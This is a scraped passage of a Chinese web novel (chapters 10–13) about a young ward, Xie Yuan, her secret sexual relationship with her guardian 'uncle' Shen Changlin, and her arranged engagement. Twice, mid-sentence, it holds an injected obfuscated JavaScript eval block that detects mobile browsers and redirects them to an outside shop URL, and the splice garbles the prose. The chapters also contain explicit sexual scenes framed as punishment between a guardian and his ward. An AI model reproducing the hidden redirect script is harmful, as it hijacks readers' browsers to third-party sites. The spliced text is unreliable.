想到家里的那一件件、一桩桩杂事,谢沅甚至觉得方才见到的那人都不再令她烦心。
她正要走回大礼堂的时候,耳畔忽然传来一道娇笑声。
“你来就来嘛,这么打眼干什么?”有一道女声响起,“而且你怎么知道我喜欢和音玫瑰?”
她身边的青年倚在墙边,唇边含笑:“领奖的花太普通了,哪配得上我们令仪?”
两人的容色都很瞩目,女生高挑明丽,男生风流俊朗。
谢沅认出那姑娘是商学院的楚令仪。
她不仅长得漂亮,出身也很好,据说母亲是赫赫有名的林家旁支,是当之无愧的燕大风云人物。
在楚令仪身边的,应该是她的男友。
谢沅垂下眸子,燕大绚烂璀璨的人太多了,但这些都跟她没关系。
读完这四年的书,她就要去嫁人了。
从今往后,哪怕是抛头露面,也永
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368972|140942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远都只是局限在那个圈子里。
和无数出身平凡的学子一样,谢沅是有些默默无闻的,她的性子又沉闷寡言,两年下来也没能结识太多的人。
但在她路过的时候,楚令仪状似不经意地看了她一眼。
楚令仪唇角翘起,自信地说道:“这次竞赛呢,我是一定会拿第一的,到时候复赛,冠军也一定只会是我。”
她身边的青年亲昵地抱了抱她。
“我们令仪这么厉害呀?”他调侃地说道。
两个人关系亲密,都是灿烂又耀眼的人,更重要的是,他们的关系那样健康。
旁人看到这样的景象,只会羡慕他们的情谊。
谢沅的胸腔蓦地一滞,轻轻垂下了眼帘。
-
竞赛的流程已经走到了尾声,谢沅坐回到小沙发上,将刚刚收到的几条未读消息回复完。
沈长凛发的其实并不多,余下的都是别人发来的。
余温将她刚刚上台的照片拍了下来,发在了社交平台上,很多人点赞转发。
圈子里的网络繁杂,有几个人认出她是谢沅,然后好奇来问。
【小谢妹妹,这个是你吗?】
【哇塞沅沅,你今天这套打扮好好看啊!】
谢沅把消息一一回完,比赛的结果也结算出来了,全程都有录像,待会儿还要上台。
她没再准备多留。
听完名次后,谢沅就起身要离开。
他们得了第二,这是很好的名次,但余温的脸色却不太好看。
她看了那欢庆的第一名队伍一眼,压低声说道:“这比赛肯定有猫腻,这次评委里话语权最重的是中间那位林先生,楚令仪她母亲家不就是姓林吗?”
队友也有点失落,安慰道:“没事,还有复赛呢。”
谢沅并不在乎名次,但听到“林先生”几个字,她的呼吸微微凝滞了一瞬。
“你们去领奖吧,”她低眸说道,“我有点事……要先走了。”
“啊,你不跟我们一起吗?”余温拉住谢沅,“这一回沅沅你可是头号功臣啊。”
谢沅歉然地说道:“下一回聚餐,我一定过来。”
她不太会拒绝人,好在马上颁奖的典礼就要开始,众人也要准备登台。
司机已经在门口等着了,谢沅坐在后座,慢慢地阖上了眼眸。
等到下车的时候,她才又睁开眼。
管家先生接住了她,声音和蔼:“小姐,先生在书房等您。”
谢沅掌心沁汗,细声说道:“好,我这就过去。”
长廊里寂静无声,快到门口时管家就退了下去,她推开那厚重的门,轻轻地走了进去。
谢沅低着头,慢慢地将房门掩上。
她刚刚将那金锁给挂上,一双修长苍白的手便扣住了她的腰身。
腿根被轻轻分开,裙摆堆至腰间,露出的不止是细腻白皙的嫩肉,还有无数深红浅红的痕印。
白昼时已经上过药了,到了夜间却还是那般。
谢沅眼眸湿润,她低喘着气偏过头去,但下一瞬就被掐住了下颌。
沈长凛容色冷淡,眼底晦暗:“一定要我罚你才能长记性吗?”
11. 第11章
谢沅的樱唇抿着,攥在一起的手指紧紧地收着,然后又被迫放松下来。
她的眼眸哭得红肿,贝齿把唇瓣也给咬肿了。
吐息紊乱急促,低泣声难以遮掩,从唇缝中泄出。
等到浪潮再度袭来的时候,谢沅的哭声再也压抑不住,她攀上男人的脖颈,呜咽地唤道:“叔叔……”
但哀鸣没能唤来转圜,反倒得来了更狠戾的惩诫。
直到枕侧的铃声响起时,谢沅才陡地惊醒,意识到方才的事都是一场梦。
她坐起身,低喘着气将屏幕按灭。
落地窗外是一片青绿,天气预报言说的暴雨终于结束,晴朗的蓝天又覆盖在了燕城的上方。
昨晚又服过一次药后,谢沅的烧已经全退了,她一觉睡到将近十点,原本因低烧而泛起的酸痛感也全都消退下去了。
与此同时,昨夜的记忆也在渐渐复苏。
谢沅扶着额头下床,昨夜折腾得太狠,腕间的红痕还没有消退。
她走进衣帽间,抿着唇找了一件长袖外套。
好在夏天冷气开得足,她昨天又生了病,穿多长的外套都不会显得怪异。
换好衣服后,谢沅还是多挑选了一条手链戴上。
玫瑰金色的手链细长,镶嵌天然的红玉髓,将那皓腕衬得愈加雪白。
收拾好后,谢沅就打算下楼用餐,正要走的时候,卧室内的电话响了起来。
这时候谁会打家里的电话呢?
谢沅走到落地窗边,执起电话。
听清楚是沈长凛的声音后,她先是愣怔了一下,然后收紧的指节慢慢地放松下来。
他刚刚开完会,声音微哑:“起床了吗,沅沅?”
谢沅细声说道:“起床了,叔叔。”
“今天不发烧了吧?”沈长凛轻声问道,“还难受不难受?”
他事情本来就多,近来的事务还尤为的多。
谢沅昨天刚看过沈长凛的行程,她怎么也想不出,他是怎么挑出时间卡着点给她打这个电话的?
她的手指搭在桌案上,眉眼被窗外的青绿浸润。
“昨天就退烧了,”谢沅捧着电话,“现在也不难受了,叔叔。”
她的嗓音柔软,细细的,虽然有些低弱,但是会让听到的人心神宁静。
沈长凛的眉心舒展开来。
他轻轻地将烟掐灭,柔声说道:“好,那去用早餐吧,叔叔不打扰你了。”
挂断电话后,沈长凛低眼看向落地窗外的车水马龙,眸底的郁气一点点化开。
本以为昨夜争吵过一回,谢沅多少会带点脾气,没想到她还是这样乖柔。
她像水做的一样,看起来柔软,实则根骨极为漂亮。
可就是这样,才会叫人那样生怜。
当初将谢沅接回沈家,的确是有所图谋。
她是个平凡女孩,可她曾祖父、祖父,乃至她父亲,哪一位不是声名远扬的人物?
圈子里讲究门第,同样讲究声名,谢家在如今的燕城算不得什么,但在典籍里、书册里,总还有她祖辈们的名字。
那比实实在在的权力、荣华还要更难得。
但后来不知道哪一天开始,这样的想法就消弭了。
昨天他的确是生气。
沈长凛以为她是能明白的,这婚事是他当初亲自定下的没错,可近两年他都没有再提过。
尤其是这半年以来,他连外公都没带谢沅去看。
秦老先生日理万机、宵衣旰食,每每抽空打电话过来,说想看看她,都被沈长凛以谢沅学业繁忙为由拒绝了。
那时知她主动帮着秦承月出轨,撮合他和温思瑜,沈长凛以为她是想清楚了。
可没想到沈宴白才回来说了她两句,就巴巴地改了主意。
不知道的,恐怕还以为沈宴白才是她的长辈。
但当谢沅哭着说出缘由的时候,沈长凛忽然就什么都不想再说了,他轻抚着她的眼尾,将那泪水拭去抹除。
他很想告诉谢沅,别相信沈宴白的话。
家族的兴衰荣辱从来都是掌权者的责任,哪里需要她一个什么都不懂的小姑娘去做牺牲?
再说,秦家本来就是他的。
与其嫁给秦承月,还不如直接嫁给他。
但谢沅的哭声可怜,被他抱起来的时候眸里也都是惧意,明显是还怕得厉害。
沈长凛吻了吻她的眼尾,低声说道:“没关系,沅沅,这些都是看你的心意,你如果是真的想嫁给他,那就嫁给他。”
他轻声说道:“不过婚姻是大事,还要从长计议,你能明白吗?”
沈长凛想,那时候他的容色一定看起来很温柔。
听到他的话后,谢沅的眼泪渐渐止住,攀住他的脖颈,腿也无意识地环住了他的腰身。
“叔叔……”依赖的渴望逐渐压过恐惧,让她无法克制地扑到他的怀里。
谢沅不善表达情绪,激动的时候总是说不出话来,能让她声声地唤着他,便已经是情绪是极限了。
沈长凛并不在乎这桩婚事。
就是他们明日要办婚宴,他也有的是法子解决秦承月。
重要的是谢沅的心情,要让她有安全感,要让她高兴起来,这才是最重要的。
沈长凛的指节轻叩在桌案上,须臾他将视线从外面收了回来。
十分钟后李特助叩门,缓步走进,轻声问道:“沈总,林先生那边,您还要见吗?”
沈长凛刚动了怒,上下的人都噤若寒蝉。
然一通电话后,他的神色便恢复了和柔。
沈长凛侧过身,漫不经心地说道:“见,自然要见。”
-
谢沅下楼的时候已经十点多了,她下午有课,燕城的高校下午课都很早,哪怕是住在学校里面,也腾不出时间午休。
她与其说是用早餐,不如说是用午餐。
临近期末,阿姨也很上心,每次做的都是她爱吃的、健康营养的。
沈长凛事情多,很少在家里用餐,所以每天吃什么,几乎都全是随着谢沅的口味来。
沈宴白吃东西不讲究,在家里待得时间又短,一直没有发现。
谢沅每每想到,就觉得有些心虚。
她下楼的时候刚巧撞到沈宴白,他站在二楼的露台边和人讲电话,指尖掐烟,长腿交叠。
由于烟雾的缭绕,他的神情晦暗不明。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368973|140942||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但沈宴白语气却是明显的带着些不快。
他说得很快,又不是国语,谢沅一时没有听清他在说什么,沈宴白却在见到她后,立刻皱着眉挂了电话。
他倚在露台边,眉眼里的阴翳还未消。
沈宴白看了她一眼,问道:“今天没课吗?”
谢沅站在阶梯上,眸中仍带着些无措和愣怔,失神片刻后才应道:“下午有课,哥哥,我用完午餐就过去。”
燕大的春季作息很早,一点就要开始上课。
沈宴白之前其实就挺奇怪的,哲学系的课虽然少,但谢沅大一时的通识课肯定不少,哪怕车接车送,来来回回也麻烦。
燕大的校舍在燕城这些百年老校里数一数二的好。
就算住校条件不好,给她在外面安排个房子也是可以的。
谢沅性子那么乖,又跟秦承月有婚约,是断然不敢、也不会胡来的人。
为什么沈长凛偏要将她养在家里?
但沈宴白没有多问,他轻声说道:“我待会儿也要出门,今天我送你吧。”
虽然语气还算和柔,他的话里其实没什么商量的意味,只是跟谢沅说一声罢了。
谢沅的眼眸微微睁大,她的眸光晃了一下:“谢、谢谢哥哥。”
沈宴白轻描淡写地说道:“没事,去吃饭吧。”
她点点头,很乖地下了楼。
暴雨结束了,窗外的花棚也撤了下去。
纤丽的花朵在微风中摇曳,哪怕隔得有些距离,也能令人想得到那馥郁的芬芳。
谢沅执着餐叉吃甜点,坐在岛台边看风景。
她喜欢晴天,喜欢湛蓝色的天空。
-
谢沅吃东西很慢,沈宴白长腿交叠,靠在沙发上看书,一个章节都要看完,她还在喝冰茶。
她是有点怕冷的,大夏天也套个长袖,但对冷饮和冰茶的喜爱也是真的。
跟谢沅这样的人用餐是很难有食欲的,她吃得又少,用得又慢。
可不知道为什么,无论是温思瑜那些大小姐,还是霍阳那群公子哥,出来玩的时候总还爱叫上她。
沈宴白看了片刻,收回视线,没再管谢沅。
又过了十分钟她突然很急地起身,颤声说道:“哥,哥!我看错时间了,马上就要迟到了。”
好嘛,怪不得这么慢。
沈宴白的唇边扯出一抹笑,他将书倒扣在长沙发上,懒散地说道:“来得及。”
谢沅没太懂他为何如此自信,接着就比他从车库开出来的超跑给刺得眼睛疼。
灿金色的跑车车型流畅,像是太阳花般耀目,招摇张扬至极,仅仅从外表来看,就会令车技不娴熟的司机退避三舍。
沈宴白戴上墨镜,淡声道:“上车。”
谢沅经常见霍阳开各种豪车,温思瑜也对车有点兴致,他们都载过她。
但她没有一次上车时,心脏跳得这样快过。
谢沅的喉咙微紧,问道:“哥哥,你什么时候买的新车?”
“当然是从你霍阳哥那儿得来的,”沈宴白勾了下唇,“他之前赌我最多两周就分手,赌输了呗。”
原来他还没有分手。
12、第12章
沈宴白女友换得很勤,身边人来人往。
许多人知道他性子张扬,桀骜不驯,对待感情事向来随意,但谁没做过成为浪子心中特殊的美梦呢?
只不过沈宴白不会为任何人回头,也不会为任何人停下脚步。
谢沅只见过一次他对人上心。
那姑娘是他同学,并不是这个圈子里的人。
他们毕业那年的升学宴上,沈宴白送给她了九百九十九朵朱丽叶玫瑰,从海外空运过来的,挥金如土得令人咂舌。
那等场面至今仍叫许多人记忆犹新。
但没人想得到,后来被甩的却是沈宴白。
谢沅记得他在楼下喝酒,喝得胃出血,沈长凛那时候在国外,她颤抖着手打的急救电话。
那是沈宴白唯一一次对谁上心,然后就再也没有过。
出国以后,他的身边人越来越多,女友也换得越来越勤。
谢沅都渐渐数不清,沈宴白到底有过多少段了,不过后来她也不再多关注就是了。
她的消息本来就闭塞,再不去关注,慢慢地就更不知道了。
这一回也是,如果不是那天刚巧遇到霍阳,谢沅或许要等到沈宴白分手,都不知道他又换新女友了。
她掐了掐掌心,让游离的思绪回到现实。
这些现在并不是她该多想的。
谢沅上车,细声说道:“很好看,哥哥。”
沈宴白看了她一眼,漫不经心地说道:“赶明儿让承月也送你一辆。”
“不用了,哥哥。”谢沅紧忙说道,“我没有驾照。”
虽然是跑车,但沈宴白照样开得四平八稳。
听见谢沅的话,他有些诧异:“你怎么没有驾照?高三毕业时没学吗?”
谢沅不太明白他的诧异从何而来。
她眨了眨眼睛,说道:“叔叔说没有必要。”
沈长凛纵着谢沅,他不会对她的努力予以否认,却也见不得她吃苦受累。
左右她将来嫁到秦家也不会吃苦,走到哪都有司机接送,学了的确没什么用。
再者沈宴白的父亲当年就是因为车祸去世的,所以沈家对开车一直有些忌讳。
无论从哪个角度,都说得过去。
但沈宴白仍是觉得怪异。
他叔叔似乎是有点太娇惯谢沅了,这到底是在养孩子,还是在养禁脔呢?
他眉心皱了皱,最终没有多说什么。
-
灿金色的跑车格外张扬,临到门口时,谢沅就要下来,沈宴白没理她,只低声问道:“几点下课?”
下午有连排课,一直要上到六点。
沈宴白点了点头,说道:“好,下课前给我发个消息,晚上带你出去。”
他这次回来全是为了谢沅的事,虽然经了些波折,但结果还算顺利。
沈宴白跟秦承月关系好,或许是快要将她从沈家嫁出去了,嫁的又是朋友,他对她也温柔许多。
谢沅寄养在沈家多年,哪怕沈长凛再疼她,也改变不了她是个外人的事实。
当初沈宴白厌恶她,正是因为如此。
谢沅低下眼眸,轻声说道:“好的,哥哥。”
她的神态很顺从,眉眼柔软,就连声音都是那样细弱。
沈宴白点了支烟,看着谢沅的背影渐远。
他好像有点明白沈长凛对她的偏疼了,顺从是会令人成瘾的,尤其是在轻微忤逆后的顺从。
沈宴白喜欢有性子的女人,脾气大一点也无妨,只要别碍到他就成。
但他也不得不承认,菟丝花是有受众的。
尤其是谢沅这样柔弱的、稚嫩的、懵懂的姑娘。
沈宴白抽了片刻的烟,便没有再多留,尽管如此,正午时他的出现还是引起了一波小小的轰动。
灿金色的跑车招摇,沈宴白的俊脸长腿也招摇。
课间时谢沅打开学校的论坛,迎面第一条热帖就是他靠在车边抽烟的照片。
因为是偷拍,图片颇为模糊,但沈宴白英俊的脸庞还是那样打眼。
生得好固然会引起注意,更引人瞩目的是那辆超跑。
谢沅不懂车,只觉得颜色好看,像太阳花,有人却是明白的,她看着图片中价格的那一长串的零,眼眸微微睁大。
更要紧的是这车是限量款的。
霍阳哥下注,下得未免太狠了些。
校内论坛消息传播很快,没多时就有人猜测这或许是沈家大少。
他ins账号粉丝很多,虽然不常发东西,但还是有无数人关注,偶尔一张侧颜照,就能引得一众人疯狂尖叫。
谢沅看着越来越高的楼层,实在不敢让沈宴白再来接。
她一下课就匆匆去了校外的咖啡馆,然后才悄悄给他发消息。
沈宴白将她接了出来,皱眉说道:“我就来接你这么一回,谁会知道?”
“已经有人知道了。”谢沅红着脸想反驳。
但她再打开校内论坛的时候,讨论的贴子已经全都不见了。
谢沅想起之前温思瑜和秦承月车祸的事,都上了新闻头条,可没多久消息就全消失得无影无踪。
沈宴白看了她屏幕一眼,浑不在意地说道:“说啊,谁知道了?”
谢沅说不出话,将脸扭到了另一边。
“反正……这样不好,哥哥。”她低声说道,“你太出名了,大家认得你的。”
沈宴白原以为谢沅要说什么,没想到犹豫半晌,最后蹦出来的却是这么一句话。
他没忍住,放声笑了出来。
谢沅不明所以,羞得更加厉害。
早知道她将图片截下来了。
-
谢沅近来忙于期末的事,生活上也是一团乱麻,很久没有出来玩过。
蔚蓝色的海水在夜晚静谧下来,浪潮无声地打在沙滩上,砂砾细细的,在月光下泛着银色的辉光,直接光脚踩在上面也不会不舒服。
到海边来玩,谢沅不想下水,也不得不换了泳衣。
她虽然没有脱外套,但海风总还会把她的长发扬起。
衣袖被吹得一团乱,风都快把她给兜起来了。
沈宴白在摆弄烧烤,他很认真地在炙烤肉串。
沈长凛不染人间烟火,谢沅从来没见过他做这种事,以至于从沈宴白手里接过烤肉的时候,她的神情还有些懵然。
霍阳调笑地说道:“能吃吗?你就先给小谢妹妹。”
上回他把谢沅吓到了,还刚巧被沈长凛撞到,后来亲自上门道的歉。
谢沅害怕来自异性的接触,很容易会应激,这件事知道的人很少。
她有些歉疚,也就原谅了霍阳。
沈宴白睨了霍阳一眼,讽刺道:“你以为谁都跟你一样,十指不沾阳春水啊?”
谢沅接过烤肉,轻轻地咬了一口。
外焦里嫩,酥香流汁。
谢沅的眼眸一下子就亮了起来,她小鸡啄米般点头:“好吃,哥哥。”
看她那样子,围在一起的男女也纷纷笑了出来。
霍阳笑得要仰倒,拍着沈宴白的肩膀说道:“往后谁能嫁给咱们沈少可真是享福了。”
“行了,行了。”沈宴白把霍阳的手拨开,“霍少还是先操心自己的事吧。”
霍阳没再说话,含着笑靠在椅子上。
谢沅想起他那天的偏执眼神,蓦地有些惧。
但她鼓起勇气看向霍阳的时候,他的容色还是那样轻佻温柔,就仿佛万事都不挂心上。
谢沅慢慢地吐出一口气,将腕间的手链又紧了紧。
或许是她想得太多了。
吃烤肉总要配上饮品,侍者将托盘端过来的时候,谢沅拿了一杯桃汁,浅浅喝了小半,才意识到里面含的有酒精。
她脾胃不好,不太能喝酒。
但更重要的是,她喝过酒后意识总会迷乱。
好在就只喝了小半,谢沅将高脚杯放下,立刻喝了很多清水。
沈宴白刚刚有事出去了,她不好意思跟旁人说想先走,怕待会儿酒劲上来。
但没多时,沈宴白就回来了。
跟他并肩走过来的是秦承月,秦承月难得没穿西装,总是捋到后面的头发也放松了下来,瞧着就像是邻家的兄长。
他长得其实和沈长凛有点像的,所以当初才成为了秦家的养子。
秦承月俯身,温声和谢沅打了个招呼:“沅沅,晚上好。”
他一出来就有人开始起哄,这声招呼打下来的时候,众人更是跟闹洞房似的。
谢沅捏住装满清水的玻璃杯,脸色微微发白。
哥哥真的好聪明。
他知道她跟秦承月有了嫌隙,知道她不太愿意见秦承月,所以亲自来安排场子,然后让秦承月在最合适的时机出现。
这一晚上过得跟梦似的,好在梦还是碎掉了。
谢沅站起身,应道:“晚上好,承月哥。”
她的眼眸低垂,看起来柔顺乖巧。
秦承月站在她的身边,神色温和,矜雅有礼,两人怎么看怎么像一对璧人。
见他们如此,沈宴白的唇也扬了起来,他拍了拍秦承月的肩头,说道:“你带沅沅玩吧,待会儿我们要打牌。”
他向来都只叫她“谢沅”,这还是第一次叫她“沅沅”。
谢沅揉了揉眼睛,声音细细地说好。
她意外喝了酒,陪着秦承月在海边散步时没什么感觉,可一回到休息的地方,就感觉酒劲全上来了。
晕晕的,乱乱的,理智也不受控了。
胃里跟烧似的难受,但烧得更狠的是脑子里的那根弦。
沈家有门禁,沈宴白提前跟沈长凛打过招呼,到了十一点的时候,还是要带谢沅回去。
沈长凛看人看得紧,秦家的那一位也很顾着她,沈宴白都不敢让她在外面过夜。
谢沅窝在副驾,捂着小腹,眼眸紧紧地闭着,像是不太舒服。
敞篷车很适合看风景,兜风。
但海风太大了,把谢沅的衣服也给吹乱了。
沈宴白原本想看谢沅的脸色,目光却被她腕间的手链给勾走了。
是梵克雅宝的。
她肤色白皙,红色的四叶草手链很衬她,也不知道是谁送给她的,挑得真好。
如果那细腕上没有覆着层叠的掐痕或许会更好。
深红浅红,凝在雪肤上。
夜间不知道得有多狠,才会留下这种痕印。
沈宴白沉默地看向谢沅的手腕,眸底是一片深黑。
13、第13章
谢沅的胃里难受,额前浅浅地出了层薄汗。
她的思绪很乱,但沈宴白俯身的时候,她还是感知到了。
谢沅蓦地睁大眼睛,当意识到沈宴白只是想摸她的额头时,她紧绷的身躯才放松下来。
他的手臂一僵,神情自然地说道:“是困了吗?”
谢沅的樱唇抿着,脸庞也泛着些微潮红,怔忪了片刻才细声说道:“哥哥,我好像喝醉了。”
她抬起水眸,眼瞳澄澈干净。
沈宴白撑着手臂,抚了下谢沅的额头,他不怕她喝醉,他就怕她发烧生病。
要是让沈长凛知道,他带她出来一回,她就又生病了,恐怕不好交代。
没有发烧,不过谢沅的确是醉了。
今天没有上酒,只有几种果饮里含着些酒精。
她这酒量可真有够差的。
沈宴白把车后面的薄毯拿了过来,轻声说道:“先睡一会儿,马上就到家了。”
谢沅抱着薄毯,自己盖上,然后又阖上了眼眸。
“好,哥哥。”她的声音轻轻的,软软的,全然不设防。
沈宴白没再看谢沅,跑车启动后,他的注意力全放在了前方。
高高的路灯照亮他的面容,他颜色偏深的眼睛也染上亮意,可沈宴白的眸底却始终都是晦暗的。
-
回来得太晚,沈宴白没让人过来,亲自弄了解酒的东西给谢沅喝。
她靠坐在长沙发上,抱着软枕,刚开始还能好好坐着,没一会儿就东倒西歪起来。
照顾谢沅真的很麻烦。
沈宴白轻啧一声,低声唤她:“谢沅,谢沅。”
谢沅昏昏沉沉,她的手伸了半天,也没能将杯子抓住。
沈宴白想干脆喂她喝算了,但谢沅又很抗拒,最后他没有办法,还是给阿姨打了电话。
阿姨来得很快,小心地抱住谢沅,哄她把醒酒汤喝了下去。
她乖顺下来,长睫也低低地垂落。
阿姨放轻声跟沈宴白说道:“您先回去休息吧,这边有我呢。”
她照顾了谢沅很多年,眼见谢沅又睡了过去,沈宴白也放下心来,低声说道:“好。”
被带回卧室后,谢沅的思绪才稍微和缓。
酒劲依然没有下去。
眼皮沉重,肺腑里仿佛有一团火在燃烧。
她头疼得厉害,很想睡觉,又头疼得睡不着,意识混乱模糊。
谢沅侧着身子,腿脚蜷缩起来,手臂却无意识地摸向手机,将屏幕按亮后就给那人打了电话。
沈长凛还在路上。
他靠坐在车里,阖眸养神,车辆飞快行进,夜风无声掠动。
漆夜略微有些寂寥,但还算是宁静。
沈长凛轻按了按眉心,正欲再阖上眼的时候震动突然响了。
是【沅沅】打来的。
他微怔了一下,然后按了接通。
这个时候怎么会突然打过来?
听筒的另一边是小姑娘微微沙哑的嗓音,她弱声问道:“你什么时候回来呀?我好像喝醉了,好难受啊……”
谢沅真是喝醉了。
她平日很少主动,稍微说几句重点的话,就要低泣着讨饶了,脸颊通红,哭得跟什么似的。
谢沅只有喝醉酒的时候,会格外犯禁。
就仿佛平日死死压住的浪潮,全都开始宣泄,无所控制地汹涌。
沈长凛的声音微哑:“马上就回去了,你先休息一会儿。”
谢沅带着哭腔,委屈地说道:“可是我好难受,你待会儿能不能……我啊?”
车里很安静,她的声音是那样明晰。
沈长凛自少时就是寡欲克制的人,倒不是因为别的,不过就是骨子里带着些淡漠,对什么事都提不上兴致。
红粉骷髅,美人白骨。
秦老先生是这样的,沈夫人是这样的,沈长凛也是这样的。
但此刻仅仅是一句低低的呜咽,血管里藏的最深的恶欲就被全都点燃了。
沈长凛修长的指骨抵在腕间,他哑声说道:“听话,沅沅。”
“先休息片刻,”他低声哄道,“我还有二十分钟就到了。”
二十分钟也太漫长了。
谢沅的思绪乱成一团麻,她把屏幕直接按灭了,将睡裙一脱就进了浴室。
浑身上下都像是有火在燃烧,她都快要被点着了,沈长凛竟然还在路上。
他天天怎么就那么忙呢?
谢沅越想越觉得委屈,眼眸里含着水,把浴室的花洒开到了最大。
沈长凛第一次被人这样挂电话,但他的脸上没有任何不快,矜贵的容色反倒带着些笑意。
他低声说道:“开快一点,李叔。”
再不快点,家里的孩子就要等急了。
-
沈长凛回来的时候已是深夜,之前他有段时间忙,经常晚归,近来却是很少会如此了。
送谢沅回到卧室后,沈宴白没有回去。
他坐在一楼的长沙发上,给沈长凛身边的李特助打了电话,知他快要回来后,就一直等着。
无论是沈家,还是秦家,女孩都很少。
所以沈长凛才会默许谢沅和温家走得近,小姑娘的成长过程中,不能没有女性长辈。
她父亲早逝,母亲又是个靠不住的。
沈宴白不太清楚沈长凛将谢沅从林家带回来时,到底发生了什么。
那时候他真的厌烦谢沅,这是一个打破他生活的、麻烦的女孩。
什么也不会,什么也不懂,不过是因为天上降下来的大运,往后就是沈家的一份子了。
她的性子同样不讨人喜欢,沉闷寡言,仔细瞧也瞧不出什么亮眼之处。
沈宴白是这两年才觉察出,当初是发生过什么的。
谢沅很怕来自异性的接触,也就跟霍阳、秦承月和他自己在一处时,不会那样的紧绷。
想到她腕间的红痕,沈宴白的心情便有些躁郁。
他不是很在乎她这个人。
但到底是养在家里的妹妹,在眼皮子底下出了这种事,至少要跟沈长凛说一声。
更何况,再过些日子就要把谢沅嫁出去了。
沈宴白的思绪有点乱,他在心里盘算了几种可能,但不知为何,在见到那近乎粗暴的红痕后,之前关于沈长凛的诸种猜测反倒全都消弭了。
他叔叔为人淡漠,多年来不近女色。
就是与人有过什么,也决计不会是如此行事之人。
能弄出那种痕印的人,在床笫间一定极狠极强势,也一定是占有欲极为强烈的人。
李特助给沈长凛发了消息。
他漫不经心地看了眼,便按灭了屏幕。
回到家的时候夜色已经浓重,沈长凛一进门,就和客厅坐着的沈宴白对上了视线。
他容色如常,轻声问道:“这么晚了,怎么不去睡?”
沈宴白站起身,低声说道:“我有事想跟您说。”
沈长凛神色淡漠,说道:“已经不早了,明天我在家,有事明天再说吧。”
他没功夫再跟沈宴白多言。
再让谢沅等下去,她这样好性子的姑娘,也是要闹脾气的。
再说,她现在的状态实在不好。
谢沅刚刚沐浴完,乌发吹得半干,还有点潮意。
她趴在卧室的小沙发上,来回地给沈长凛发消息。
当看到那张隐约的背影图发过来的时候,连他都有点不知所言了。
谢沅也不知道是用什么姿势拍出来的。
乌黑的长发披散在瓷白的背上,曲线柔软,在纤细的腰肢处收拢。
然后又起伏,勾勒出旖旎的弧度,翘起的软臀像雪色的山岳般颤动,并拢的腿缝处还有先前留下的红痕,宛若雪地里的花瓣。
再往深处,是一方桃花源。
白昼时的矜持和乖柔,全都烟消云散了。
【你到家了吗?已经二十分钟了。】
谢沅打的字乱七八糟,得花些时间才能看明白她在说什么,接连发来的是更为荡媚的照片。
沈长凛的指骨微屈,轻按了几个字,眸色晦暗到不可思议。
须臾,他轻声说道:“有事的话,可以先跟李特助或者管家说,我明天处理。”
沈长凛没有理会沈宴白,直接就上了楼。
沈宴白睁大眼睛,没想到沈长凛走得这样利落。
他有点憋屈,随即又隐隐想到,沈长凛平时这样关照谢沅,对她的衣食住行了如指掌,如果真的出事,应当早就发觉了。
兴许是他想得太多了。
那种痕印,其实也未必是床上弄出来的。
沈宴白思索片刻,最终也上了楼。
-
火越烧越狠,谢沅来回翻着屏幕,一张张地给沈长凛发照片,一段段地给他发消息。
这种蛊惑和挑衅实在太没有技术含量了。
可是她也不知道要怎么办。
谢沅咬住下唇,唇瓣都要咬肿了,沈长凛却还没回来。
当她快想要放弃的时候,房门突然被人从外间推开了。
谢沅眼神懵懂,她抬起眸子,还未反应过来,就被打横抱了起来。
沈长凛的身上带着雪松的气息,他的容色微冷,声音更冷:“谁教你给人发那种照片的,嗯?”
他的眸色晦暗,眼底是一片深冷。
谢沅微微瑟缩了一下,哪怕醉得头脑发昏,她还是害怕沈长凛。
“我难受……你又一直不回来。”她扒着他的衣袖,眸里含泪,柔膝分开,坐在他的腿上呜咽。
谢沅被烧得快要化开了,她淌着甜/腻的汁/水,像是流着花/蜜似的。
她之前也醉过一回,那次难能长了教训,这回却又是醉坏了。
沈长凛眉眼低垂,轻拍了拍她的脸庞,低声斥责:“那就可以给人发那种照片了吗,沅沅?”
他动作很轻,但带着点细微的惩/诫意味。
谢沅的脸庞烧得更红。
她的理智要是还在,是决计说不出这种话的,可是她现在已经煎熬太久,全然被欲/念给支配了。
谢沅垂下头,她的眼皮红着,神情也带着些委屈。
她的眸光闪烁,声音细柔:“是呀,所以你要罚我吗?”
谢沅平时很乖。
但事实是,她真的很会挑沈长凛的情绪。
他心底压着的暗怒因她这一句话,就全然烧起来了。
沈长凛换了个姿势抱起谢沅。
“之前是不是说过,不可以喝酒?”他低声责问,“上回得的教训还不够吗?”
谢沅不喜欢被这样抱,小腿挣扎地颤抖,想要挣脱。
但男人的手按在她的腰间,将所有挣扎都压了下来。
沈长凛是真的生气了。
谢沅终于怕了,她颤声说道:“我记得的,叔叔……您别这样,行不行?”
然而现在说什么都晚了。
巴掌声和水声混在一起,在寂静的夜晚格外清楚。
谢沅忍不住地开始哭,她的小脸哭得通红,手臂颤着攀上沈长凛的脖颈,哀哀地乞怜:“我错了,叔叔……”
她哭得厉害,好像很难受很可怜。
但谢沅给出来的反应却是完全相反的。
樱唇在说不要了,另一张软唇却在说还要更多。
夜晚是沉静的,也是漫长的,并不能容得她来决定起止。
-
放纵的后果是可怕的。
宗教讲究修心守欲,在哲学系总要跟这些打交道,加之沈长凛也是很克制的人,所以谢沅几乎从未主动纵/欲过。
